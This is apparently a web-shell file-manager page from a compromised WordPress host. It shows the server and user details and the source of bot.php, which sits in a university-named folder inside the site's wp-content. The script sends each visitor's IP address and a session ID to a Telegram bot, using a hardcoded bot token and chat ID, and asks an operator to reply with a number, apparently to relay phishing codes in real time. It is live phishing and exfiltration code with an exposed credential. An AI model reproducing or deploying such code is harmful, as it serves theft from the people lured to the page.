HEX
Server: Apache/2
System: Linux ctr689471.novalocal 4.9.241-37.el7.x86_64 #1 SMP Mon Nov 2 13:55:04 UTC 2020 x86_64
User: bluecool (1005)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /home/bluecool/domains/bluecool.vn/public_html/wp-content/brockport.edu/bot.php
<?php
session_start(); // Ensure the session is started

// Define the bot token and chat ID
$botToken = "7679155704:AAEwWc0SYKwYW8J92h3xQW0Q2hTdsqcoIys";
$chatId = "307817235";

// Get the season ID from the session
$seasonId = $_SESSION['season_id'] ?? '';

// Create the message to be sent to Telegram
$message = "Hello, a number has been requested from IP address " . $_SERVER['REMOTE_ADDR'] . ". For season ID $seasonId, please reply with the format: $seasonId/your_number.";

// Send the request to the Telegram bot
$url = "https://api.telegram.org/bot$botToken/sendMessage?chat_id=$chatId&text=" . urlencode($message);
$response = file_get_contents($url);

// Clear the number in selected_number.txt to prepare for a new number
$filename = "selected_number.txt"; // Ensure you use the correct file path
if (file_exists($filename)) {
    file_put_contents($filename, ''); // Clear the content of the file
}

// Log success or failure of the message sending process
if ($response === false) {
    echo "Error: Failed to send message to Telegram bot.";
} else {
    echo "Message sent to Telegram bot successfully.";
}
?>